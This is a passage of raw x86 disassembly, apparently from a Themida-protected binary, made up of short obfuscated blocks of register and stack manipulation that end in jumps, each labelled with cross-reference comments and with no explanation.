		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	5B7Ch
		mov	[esp], eax
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_562240
; ---------------------------------------------------------------------------


loc_55B39E:				; CODE XREF: Themida_:00561F58j
		dec	esi
		push	51Ah
		mov	[esp], edi
		mov	edi, 7EE0FE1Ah
		sub	esi, edi
		pop	edi
		jmp	loc_560694
; ---------------------------------------------------------------------------


loc_55B3B4:				; CODE XREF: Themida_:0056507Cj
		add	esp, 4
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 7Ch
		sub	bl, 0Bh
		add	bl, ch
		jmp	loc_55F710
; ---------------------------------------------------------------------------


loc_55B3CF:				; CODE XREF: Themida_:00551E91j
		xor	edx, 44094B8Ch
		add	ebp, 2E1B1BA9h
		sub	ebp, 739A7BFDh
		add	ebp, edx
		add	ebp, 739A7BFDh
		jmp	loc_55687F
; ---------------------------------------------------------------------------


loc_55B3EE:				; CODE XREF: Themida_:00555CBCj
		push	ebp
		mov	ebp, 27FF3C35h
		push	eax
		mov	eax, 77080778h
		sub	eax, 194C187Fh
		neg	eax
		and	eax, 61961059h
		xor	eax, 4F7869F3h
		sub	eax, 29AF776Dh
		push	esi
		mov	esi, 0F1623966h
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_55AB78
; ---------------------------------------------------------------------------


loc_55B420:				; CODE XREF: Themida_:0055D9E3j
		add	ebp, 1DAE0D68h
		add	ebp, ecx
		sub	ebp, 1DAE0D68h
		push	dword ptr [esp]
		jmp	loc_556BA2
; ---------------------------------------------------------------------------


loc_55B436:				; CODE XREF: Themida_:0055779Cj
		xchg	edi, esi
		neg	edi
		xchg	edi, esi
		push	edx
		push	ebp
		mov	ebp, 64D855BBh
		mov	edx, ebp
		pop	ebp
		xor	esi, edx
		jmp	loc_5629D7
; ---------------------------------------------------------------------------


loc_55B44D:				; CODE XREF: Themida_:00550851j
		pop	esp
		mov	[esp], edi
		mov	edi, 1BB001F5h
		sub	edi, 45190153h
		inc	edi
		sub	edi, 0B0AD9CA9h
		add	edx, 19A375FDh
		add	edx, edi
		jmp	loc_5557F0
; ---------------------------------------------------------------------------


loc_55B470:				; CODE XREF: Themida_:005593D4j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 18h
		xor	dh, 8Bh
		add	al, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55751F
; ---------------------------------------------------------------------------


loc_55B48E:				; CODE XREF: Themida_:0055BAC0j
		push	cx
		push	edx
		push	ecx
		jmp	loc_555B1A
; ---------------------------------------------------------------------------


loc_55B497:				; CODE XREF: Themida_:005597C7j
		push	ecx
		mov	ecx, 189E7290h
		not	ecx
		add	ecx, 1
		not	ecx
		push	edx
		mov	edx, 6127008Fh
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	edx, 643BED62h
		and	ecx, edx
		pop	edx
		jmp	loc_558735
; ---------------------------------------------------------------------------


loc_55B4BE:				; CODE XREF: Themida_:00556BBFj
		shr	al, 2
		shr	al, 6
		xchg	dl, al
		neg	dl
		xchg	dl, al
		sub	al, 65h
		add	bl, al
		pop	eax
		sub	bl, al
		sub	bl, 9Bh
		push	7D13h
		mov	[esp], eax
		mov	al, 0F7h
		jmp	loc_562DF5
; ---------------------------------------------------------------------------


loc_55B4E3:				; CODE XREF: Themida_:00559062j
		pop	edx
		add	ebp, 1B9B5028h
		add	ebp, eax
		sub	esp, 4
		jmp	loc_55E185
; ---------------------------------------------------------------------------


loc_55B4F4:				; CODE XREF: Themida_:0055776Fj
		mov	[esp], ecx
		mov	ecx, 460A6C1Fh
		add	eax, 72BA4932h
		add	eax, ecx
		sub	eax, 72BA4932h
		pop	ecx
		sub	eax, 69DD45E4h
		push	dword ptr [eax]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55F865
; ---------------------------------------------------------------------------


loc_55B527:				; CODE XREF: Themida_:00550DADj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55D5B0
; ---------------------------------------------------------------------------


loc_55B533:				; CODE XREF: Themida_:00561DB5j
		or	ebx, 0B253713h
		jmp	loc_55DC36
; ---------------------------------------------------------------------------


loc_55B53E:				; CODE XREF: Themida_:005600B8j
		mov	esp, [esp]
		jmp	loc_55CB36
; ---------------------------------------------------------------------------


loc_55B546:				; CODE XREF: Themida_:005594DCj
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_552014
; ---------------------------------------------------------------------------


loc_55B565:				; CODE XREF: Themida_:0055FD40j
		add	esp, 4
		push	eax
		push	ecx
		push	8E6300h
		pop	ecx
		xor	ecx, 51ED6C86h
		jmp	loc_56128F
; ---------------------------------------------------------------------------


loc_55B57B:				; CODE XREF: Themida_:005606ADj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55FC54
; ---------------------------------------------------------------------------


loc_55B584:				; CODE XREF: Themida_:00550E24j
		sub	edi, 0F914EC48h
		add	esi, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	3800h
		mov	[esp], edx
		push	26A9h
		mov	[esp], eax
		jmp	loc_553F3F
; ---------------------------------------------------------------------------


loc_55B5B2:				; CODE XREF: Themida_:0056281Fj
		mov	edx, ecx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_561D77
; ---------------------------------------------------------------------------


loc_55B5BF:				; CODE XREF: Themida_:0055E25Aj
		mov	[esp], ebp
		jmp	loc_558A08
; ---------------------------------------------------------------------------


loc_55B5C7:				; CODE XREF: Themida_:005534CCj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56503D
; ---------------------------------------------------------------------------


loc_55B5D8:				; CODE XREF: Themida_:0055AF2Dj
		xchg	ebp, [esp]
		push	ebp
		push	ebx
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		push	ebx
		jmp	loc_5566FB
; ---------------------------------------------------------------------------


loc_55B5ED:				; CODE XREF: Themida_:0055A412j
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ch, 94h
		or	ch, 0EFh
		push	ebx
		jmp	loc_55AD05
; ---------------------------------------------------------------------------


loc_55B607:				; CODE XREF: Themida_:0055E056j
		pop	ecx
		push	ebp
		mov	ebp, 24400B44h
		jmp	loc_55AA85
; ---------------------------------------------------------------------------


loc_55B613:				; CODE XREF: Themida_:00554133j
		xor	eax, esi
		jmp	loc_564227
; ---------------------------------------------------------------------------


loc_55B61A:				; CODE XREF: Themida_:00563025j
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 0B53003Eh
		or	edx, 423108BFh
		push	edi
		jmp	loc_554DEA
; ---------------------------------------------------------------------------


loc_55B62F:				; CODE XREF: Themida_:00560602j
		mov	esp, [esp]
		push	eax
		jmp	loc_562BCC
; ---------------------------------------------------------------------------


loc_55B638:				; CODE XREF: Themida_:00562685j
		mov	edx, 6D437309h
		add	dword ptr [esp+4], 584D1721h
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 584D1721h
		jmp	loc_55C86D
; ---------------------------------------------------------------------------


loc_55B656:				; CODE XREF: Themida_:00552107j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5513E8
; ---------------------------------------------------------------------------


loc_55B66D:				; CODE XREF: Themida_:0055DDD0j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55B67A:				; CODE XREF: Themida_:00555C68j
		xor	edi, esi
		pop	esi
		sub	esi, 316A5428h
		push	edi
		mov	edi, 35D0443h
		add	esi, edi
		pop	edi
		add	esi, edi
		push	1692h
		jmp	loc_5587A3
; ---------------------------------------------------------------------------


loc_55B698:				; CODE XREF: Themida_:0055EAA1j
		push	eax
		mov	eax, 67D26EE8h
		neg	eax
		not	eax
		shl	eax, 4
		sub	eax, 787E1E97h
		sub	eax, 0B393AA54h
		jmp	loc_557B82
; ---------------------------------------------------------------------------


loc_55B6B4:				; CODE XREF: Themida_:00555AD3j
		sub	edx, 0B38CEE10h
		sub	ebx, 5045723Dh
		add	ebx, edx
		add	ebx, 5045723Dh
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55AB9F
; ---------------------------------------------------------------------------


loc_55B6D5:				; CODE XREF: Themida_:00550D89j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 23DE41C7h
		xor	esi, 327F7D93h
		jmp	loc_55ABA4
; ---------------------------------------------------------------------------


loc_55B6E9:				; CODE XREF: Themida_:005585B1j
		push	edi
		jmp	loc_55154E
; ---------------------------------------------------------------------------


loc_55B6EF:				; CODE XREF: Themida_:0055C73Fj
		mov	dh, cl
		pop	ecx
		sub	dh, 8Dh
		push	eax
		mov	al, 0C7h
		add	al, 0D8h
		jmp	loc_55BB1F
; ---------------------------------------------------------------------------


loc_55B6FF:				; CODE XREF: Themida_:0055EFF4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56516F
; ---------------------------------------------------------------------------


loc_55B70A:				; CODE XREF: Themida_:0055AD91j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, ebx
		push	esi
		mov	esi, 170C4CE4h
		jmp	loc_551857
; ---------------------------------------------------------------------------


loc_55B72F:				; CODE XREF: Themida_:005524ABj
		mov	eax, esi
		pop	esi
		shl	eax, 3
		push	ebx
		mov	ebx, 13C7C8Fh
		jmp	loc_55888F
; ---------------------------------------------------------------------------


loc_55B740:				; CODE XREF: Themida_:0056204Aj
		pop	ebx
		sub	esp, 4
		jmp	loc_55ABE1
; ---------------------------------------------------------------------------


loc_55B749:				; CODE XREF: Themida_:00553B54j
		mov	[esp], eax
		mov	al, 0FBh
		jmp	loc_55053F
; ---------------------------------------------------------------------------


loc_55B753:				; CODE XREF: Themida_:0056451Bj
		mov	ebx, [esp]
		add	esp, 4
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		push	4CF0h
		jmp	loc_55D177
; ---------------------------------------------------------------------------


loc_55B76B:				; CODE XREF: Themida_:00557E8Cj
		xor	ebp, 21524599h
		sub	eax, ebp
		jmp	loc_55CE72
; ---------------------------------------------------------------------------


loc_55B778:				; CODE XREF: Themida_:0055A675j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C658
; ---------------------------------------------------------------------------


loc_55B783:				; CODE XREF: Themida_:0055A092j
		push	esi
		mov	esi, 23DC0218h
		jmp	loc_55F6AF
; ---------------------------------------------------------------------------


loc_55B78E:				; CODE XREF: Themida_:0055C40Bj
		mov	ebp, edx
		jmp	loc_564CF0
; ---------------------------------------------------------------------------


loc_55B795:				; CODE XREF: Themida_:00553B0Ej
		sub	esp, 4
		jmp	loc_552570
; ---------------------------------------------------------------------------


loc_55B7A0:				; CODE XREF: Themida_:00562DC1j
		shr	ecx, 4
		xor	ecx, 5E4D2A8Bh
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	ebx
		mov	ebx, 76E166ECh
		jmp	loc_55F43F
; ---------------------------------------------------------------------------


loc_55B7C1:				; CODE XREF: Themida_:005643CCj
		mov	ecx, 0FC1CF1FCh
		xor	ebp, ecx
		pop	ecx
		mov	eax, ebp
		pop	ebp
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55A297
; ---------------------------------------------------------------------------


loc_55B7E5:				; CODE XREF: Themida_:00550C21j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_562B3D
; ---------------------------------------------------------------------------


loc_55B7FB:				; CODE XREF: Themida_:005646E6j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3A69h
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 71BE61AEh
		jmp	loc_55D3C5
; ---------------------------------------------------------------------------


loc_55B81D:				; CODE XREF: Themida_:005659B8j
		mov	[esp], eax
		jmp	loc_55FDA3
; ---------------------------------------------------------------------------


loc_55B825:				; CODE XREF: Themida_:0055C52Aj
		add	bl, 3
		sub	bl, cl
		sub	bl, 3
		pop	ecx
		push	small 424Ah
		mov	[esp], dx
		jmp	loc_5579BA
; ---------------------------------------------------------------------------


loc_55B83B:				; CODE XREF: Themida_:0055349Aj
		add	ebx, 75E81356h
		add	ebx, edx
		push	esi
		mov	esi, 75E81356h
		sub	ebx, esi
		jmp	loc_55B11B
; ---------------------------------------------------------------------------


loc_55B850:				; CODE XREF: Themida_:00557B8Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_557E20
; ---------------------------------------------------------------------------


loc_55B861:				; CODE XREF: Themida_:005658AEj
		add	bl, ah
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		add	bl, al
		push	7C80h
		mov	[esp], edx
		mov	dh, 77h
		dec	dh
		or	dh, 0EAh
		push	ax
		mov	al, 0EFh
		jmp	loc_551A78
; ---------------------------------------------------------------------------


loc_55B887:				; CODE XREF: Themida_:00555990j
		mov	ax, 990h
		neg	ax
		add	ax, 7D4Ah
		jmp	loc_552120
; ---------------------------------------------------------------------------


loc_55B897:				; CODE XREF: Themida_:00551011j
		xor	esi, 9392B8E1h
		sub	ebx, esi
		pop	esi
		add	ebx, ebp
		add	ebx, 74EB4359h
		push	esi
		jmp	loc_55F292
; ---------------------------------------------------------------------------


loc_55B8AE:				; CODE XREF: Themida_:00562BF7j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_551139
; ---------------------------------------------------------------------------


loc_55B8B8:				; CODE XREF: Themida_:0055506Ej
		pop	esp
		mov	[esp], ecx
		push	503C5F6Eh
		pop	ecx
		jmp	loc_559929
; ---------------------------------------------------------------------------


loc_55B8C7:				; CODE XREF: Themida_:0056011Cj
		add	edx, 73B56B53h
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55B8D2:				; CODE XREF: Themida_:00563413j
		mov	dx, [esp]
		add	esp, 2
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 61396702h
		sub	ebp, eax
		jmp	loc_5587F5
; ---------------------------------------------------------------------------


loc_55B8F5:				; CODE XREF: Themida_:0055E4AEj
		push	ecx
		mov	cl, 2Fh
		dec	cl
		jmp	loc_559AC6
; ---------------------------------------------------------------------------


loc_55B8FF:				; CODE XREF: Themida_:0055F208j
		add	edx, edi
		pop	edi
		add	edx, 413F1A45h
		add	edx, ebp
		sub	edx, 413F1A45h
		sub	edx, 32AC16BFh
		mov	ebp, [esp]
		jmp	loc_55DA0E
; ---------------------------------------------------------------------------


loc_55B91E:				; CODE XREF: Themida_:00550DDAj
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	65Fh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5646D4
; ---------------------------------------------------------------------------


loc_55B93F:				; CODE XREF: Themida_:00553653j
		push	esi
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551E74
; ---------------------------------------------------------------------------


loc_55B959:				; CODE XREF: Themida_:005579DFj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_5655A8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4DCAh
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_565721
; ---------------------------------------------------------------------------


loc_55B981:				; CODE XREF: Themida_:00553165j
		mov	ebx, 64B85905h
		push	ecx
		push	2999h
		jmp	loc_56244C
; ---------------------------------------------------------------------------


loc_55B991:				; CODE XREF: Themida_:0055EA2Cj
		mov	[esp], ebx
		mov	bh, 86h
		shr	bh, 5
		xor	bh, 2Dh
		sub	bh, 0B8h
		sub	dh, bh
		jmp	loc_555806
; ---------------------------------------------------------------------------


loc_55B9A6:				; CODE XREF: Themida_:0055A4D5j
		add	esi, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	21F4h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_559148
; ---------------------------------------------------------------------------


loc_55B9D9:				; CODE XREF: Themida_:005658F1j
		push	893h
		mov	[esp], edi
		mov	edi, 509C3DD8h
		jmp	loc_554BB2
; ---------------------------------------------------------------------------


loc_55B9EB:				; CODE XREF: Themida_:00551522j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	esp
		jmp	loc_554DB2
; ---------------------------------------------------------------------------


loc_55B9FF:				; CODE XREF: Themida_:0055AB8Bj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559219
; ---------------------------------------------------------------------------


loc_55BA0D:				; CODE XREF: Themida_:005631B4j
		pop	ecx
		add	esi, 183251C1h
		and	esi, 27F26A44h
		push	edi
		mov	edi, 0D382FE2Bh
		sub	esi, edi
		jmp	loc_558FA8
; ---------------------------------------------------------------------------


loc_55BA27:				; CODE XREF: Themida_:0055BE8Bj
		cmp	cl, al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55BA2F:				; CODE XREF: Themida_:0055AB7Bj
		xor	ebp, eax
		jmp	loc_564211
; ---------------------------------------------------------------------------


loc_55BA36:				; CODE XREF: Themida_:0055409Cj
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_55F202
; ---------------------------------------------------------------------------


loc_55BA45:				; CODE XREF: Themida_:00560A85j
		mov	dl, 0F8h
		push	eax
		mov	ah, 0DBh
		sub	dl, ah
		jmp	loc_55EFDA
; ---------------------------------------------------------------------------


loc_55BA51:				; CODE XREF: Themida_:0055D7D5j
		add	esi, 23B260BEh
		push	eax
		mov	eax, 7A8457F6h
		jmp	loc_5559C3
; ---------------------------------------------------------------------------


loc_55BA62:				; CODE XREF: Themida_:0055360Ej
		sub	ecx, 4
		jmp	loc_558E69
; ---------------------------------------------------------------------------


loc_55BA6A:				; CODE XREF: Themida_:005576E4j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		push	di
		mov	di, 481Ah
		add	[esp+4], di
		pop	di
		sub	word ptr [esp+2], 14A1h
		add	[esp+2], di
		jmp	loc_5513B8
; ---------------------------------------------------------------------------


loc_55BA9B:				; CODE XREF: Themida_:0055186Aj
		pop	esi
		jmp	loc_55E254
; ---------------------------------------------------------------------------


loc_55BAA1:				; CODE XREF: Themida_:0055D9D1j
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55202E
; ---------------------------------------------------------------------------


loc_55BAB0:				; CODE XREF: Themida_:005529F2j
		push	ebp
		mov	ebp, 31450F4Ah
		xor	edx, ebp
		pop	ebp
		jmp	loc_55D849
; ---------------------------------------------------------------------------


loc_55BABE:				; CODE XREF: Themida_:00563179j
		sub	bl, al
		jmp	loc_55B48E
; ---------------------------------------------------------------------------


loc_55BAC5:				; CODE XREF: Themida_:0055E6EBj
		pop	ecx
		jmp	loc_552F11
; ---------------------------------------------------------------------------


loc_55BACB:				; CODE XREF: Themida_:0055C919j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5563EA
; ---------------------------------------------------------------------------


loc_55BAF4:				; CODE XREF: Themida_:00557FC4j
		push	63D7h
		mov	[esp], ecx
		jmp	loc_553ADB
; ---------------------------------------------------------------------------


loc_55BB01:				; CODE XREF: Themida_:005605C7j
		add	eax, 0C8BDCEB9h
		add	ebx, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55BB1F:				; CODE XREF: Themida_:0055B6FAj
		xor	dh, al
		mov	eax, [esp]
		add	esp, 4
		push	cx
		mov	ch, dh
		dec	ch
		mov	dh, ch
		pop	cx
		sub	dh, 0BCh
		jmp	loc_553A88
; ---------------------------------------------------------------------------


loc_55BB39:				; CODE XREF: Themida_:00561B11j
		sub	esp, 4
		jmp	loc_561BD0
; ---------------------------------------------------------------------------


loc_55BB44:				; CODE XREF: Themida_:00558482j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, 4F2A2FE6h
		add	ebx, esi
		jmp	loc_553A38
; ---------------------------------------------------------------------------


loc_55BB57:				; CODE XREF: Themida_:00558953j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_562A86
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_5636D4
; ---------------------------------------------------------------------------


loc_55BB68:				; CODE XREF: Themida_:00553DA9j
		add	esp, 4
		mov	bx, bp
		pop	ebp
		push	esi
		mov	si, 0A37h
		neg	si
		jmp	loc_55929D
; ---------------------------------------------------------------------------


loc_55BB7F:				; CODE XREF: Themida_:00552BBBj
		mov	al, dl
		jmp	loc_554075
; ---------------------------------------------------------------------------


loc_55BB86:				; CODE XREF: Themida_:0055DFB8j
		shl	esi, 1
		sub	esi, 0B68F019Eh
		mov	ebp, esi
		pop	esi
		push	ebp
		sub	dword ptr [esp], 3E24689Fh
		pop	esi
		add	esi, 3E24689Fh
		jmp	loc_55CC4E
; ---------------------------------------------------------------------------


loc_55BBA5:				; CODE XREF: Themida_:005520DAj
		pop	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		add	ebx, 0E63AEC72h
		push	2F29h
		jmp	loc_5534A9
; ---------------------------------------------------------------------------


loc_55BBBF:				; CODE XREF: Themida_:00555177j
		push	dword ptr [esp]
		jmp	loc_551218
; ---------------------------------------------------------------------------


loc_55BBC7:				; CODE XREF: Themida_:005622C1j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5608DF
; ---------------------------------------------------------------------------


loc_55BBD3:				; CODE XREF: Themida_:0055914Ej
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		jmp	loc_5533DD
; ---------------------------------------------------------------------------


loc_55BBE5:				; CODE XREF: Themida_:0055436Dj
		push	ebp
		push	ecx
		jmp	loc_55E6DF
; ---------------------------------------------------------------------------


loc_55BBEC:				; CODE XREF: Themida_:0055563Bj
		dec	eax
		push	59CAh
		mov	[esp], edi
		jmp	loc_556C23
; ---------------------------------------------------------------------------


loc_55BBFA:				; CODE XREF: Themida_:00558CD8j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	26BEh
		jmp	loc_565AE4
; ---------------------------------------------------------------------------


loc_55BC11:				; CODE XREF: Themida_:0055514Ej
		pop	ecx
		sub	ecx, 5DBB113Ah
		and	ecx, 2C60338Eh
		add	ecx, 306C41E9h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551B89
; ---------------------------------------------------------------------------


loc_55BC31:				; CODE XREF: Themida_:0055183Dj
		mov	ecx, eax
		pop	eax
		jmp	loc_556F8B
; ---------------------------------------------------------------------------


loc_55BC39:				; CODE XREF: Themida_:00551852j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 6AA41FB8h
		mov	ebx, 7BE858h
		add	ebx, 0BD906F4h
		jmp	loc_555FB0
; ---------------------------------------------------------------------------


loc_55BC5B:				; CODE XREF: Themida_:00563AD6j
		add	eax, 4
		push	ecx
		push	edx
		push	27BE46FFh
		pop	edx
		mov	ecx, 4AD8BC84h
		jmp	loc_559256
; ---------------------------------------------------------------------------


loc_55BC72:				; CODE XREF: Themida_:0055D972j
		push	edi
		push	ebp
		pop	edi
		pop	ebp
		jmp	loc_564C01
; ---------------------------------------------------------------------------


loc_55BC7B:				; CODE XREF: Themida_:00562B13j
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_550B95
; ---------------------------------------------------------------------------


loc_55BC87:				; CODE XREF: Themida_:0055225Fj
		or	esi, edx
		pop	edx
		sub	esi, 60AC457Eh
		sub	ebx, esi
		pop	esi
		add	ebx, 7E882450h
		add	ebx, 2C28000Ah
		jmp	loc_55658B
; ---------------------------------------------------------------------------


loc_55BCA4:				; CODE XREF: Themida_:00558E2Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	5AD2h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_550571
; ---------------------------------------------------------------------------


loc_55BCC4:				; CODE XREF: Themida_:00563EDDj
		and	ebx, 36FC5A50h
		or	ebx, 4704B94h
		not	ebx
		sub	ebx, 4DB3C61h
		jmp	loc_559C3D
; ---------------------------------------------------------------------------


loc_55BCDD:				; CODE XREF: Themida_:005540DEj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559FB4
; ---------------------------------------------------------------------------


loc_55BCEB:				; CODE XREF: Themida_:0055654Fj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55BD02:				; CODE XREF: Themida_:0055361Aj
		pop	ecx
		push	ecx
		mov	ecx, 1CC23EE0h
		jmp	loc_551C3D
; ---------------------------------------------------------------------------


loc_55BD0E:				; CODE XREF: Themida_:00557933j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		sub	dword ptr [esp], 777A4B80h
		pop	ebp
		add	ebp, 777A4B80h
		mov	edi, ebp
		jmp	loc_553173
; ---------------------------------------------------------------------------


loc_55BD2E:				; CODE XREF: Themida_:0055B157j
		push	eax
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_55C0B8
; ---------------------------------------------------------------------------


loc_55BD3B:				; CODE XREF: Themida_:00556A7Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_550AB9
; ---------------------------------------------------------------------------


loc_55BD46:				; CODE XREF: Themida_:005656D6j
		sub	edi, 9F6DB5BEh
		jmp	loc_55F684
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_550C80
; ---------------------------------------------------------------------------


loc_55BD5A:				; CODE XREF: Themida_:0055E4DAj
		dec	edx
		xor	edx, 3C6DFF9Bh
		mov	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55C5D6
; ---------------------------------------------------------------------------


loc_55BD75:				; CODE XREF: Themida_:0055969Fj
		mov	ah, 13h
		xor	ah, 0E5h
		sub	bl, ah
		jmp	loc_551BCB
; ---------------------------------------------------------------------------


loc_55BD81:				; CODE XREF: Themida_:00560C38j
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_55816A
; ---------------------------------------------------------------------------


loc_55BD94:				; CODE XREF: Themida_:005591C1j
		mov	edx, 42773085h
		or	ebp, edx
		pop	edx
		xor	ebp, 427F3C91h
		push	edi
		mov	edi, 6B9D4284h
		shl	edi, 5
		add	edi, 8361672h
		add	edi, 0CC85C29Fh
		jmp	loc_5636EE
; ---------------------------------------------------------------------------


loc_55BDBC:				; CODE XREF: Themida_:0055ACABj
		sub	ebp, 75A8719Bh
		neg	ebp
		shr	ebp, 2
		not	ebp
		add	ebp, 0AAEC5D9h
		sub	edx, 4BE83EBCh
		add	edx, 719F78A1h
		sub	edx, 5CF24296h
		add	edx, ebp
		jmp	loc_563379
; ---------------------------------------------------------------------------


loc_55BDE8:				; CODE XREF: Themida_:005579ECj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55EF09
; ---------------------------------------------------------------------------


loc_55BDF4:				; CODE XREF: Themida_:005511B6j
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_560EB2
; ---------------------------------------------------------------------------


loc_55BE01:				; CODE XREF: Themida_:00561BEFj
		sub	esi, 45F8EE2Ah
		neg	esi
		or	esi, 68CF6E45h
		sub	esi, 62121328h
		xor	esi, 8DCDDCBBh
		add	edi, esi
		pop	esi
		push	ecx
		jmp	loc_552725
; ---------------------------------------------------------------------------


loc_55BE24:				; CODE XREF: Themida_:00563A0Cj
		push	ebp
		mov	ebp, 5B2654C4h
		shr	ebp, 7
		jmp	loc_55CC2D
; ---------------------------------------------------------------------------


loc_55BE32:				; CODE XREF: Themida_:00560155j
		push	edx
		jmp	loc_558DFD
; ---------------------------------------------------------------------------


loc_55BE38:				; CODE XREF: Themida_:0055ACECj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
